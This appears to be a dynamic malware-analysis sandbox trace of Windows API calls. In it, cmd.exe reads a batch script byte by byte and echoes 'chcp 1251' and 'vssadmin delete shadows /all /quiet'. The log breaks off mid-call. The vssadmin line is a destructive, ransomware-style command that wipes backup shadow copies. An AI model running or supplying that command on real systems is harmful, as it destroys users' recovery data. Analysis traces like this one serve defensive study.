ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.665] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0086.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.666] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0086.666] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.666] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.666] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.667] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.667] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0086.667] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.667] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0086.668] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.668] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.668] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.668] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.669] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.669] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.669] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.669] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.669] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.669] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.669] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] GetFileType (hFile=0xe8) returned 0x3 [0086.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.669] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.669] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.669] GetFileType (hFile=0xf4) returned 0x3 [0086.669] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.669] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0086.669] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x31f678, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f678*=0x24, lpOverlapped=0x0) returned 1 [0086.669] GetProcessHeap () returned 0xd0000 [0086.669] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x4012) returned 0xf1010 [0086.670] GetProcessHeap () returned 0xd0000 [0086.670] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xf1010 | out: hHeap=0xd0000) returned 1 [0086.670] GetProcessHeap () returned 0xd0000 [0086.670] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb0) returned 0xe9840 [0086.670] GetProcessHeap () returned 0xd0000 [0086.670] RtlAllocateHeap (HeapHandle=0xd0000, 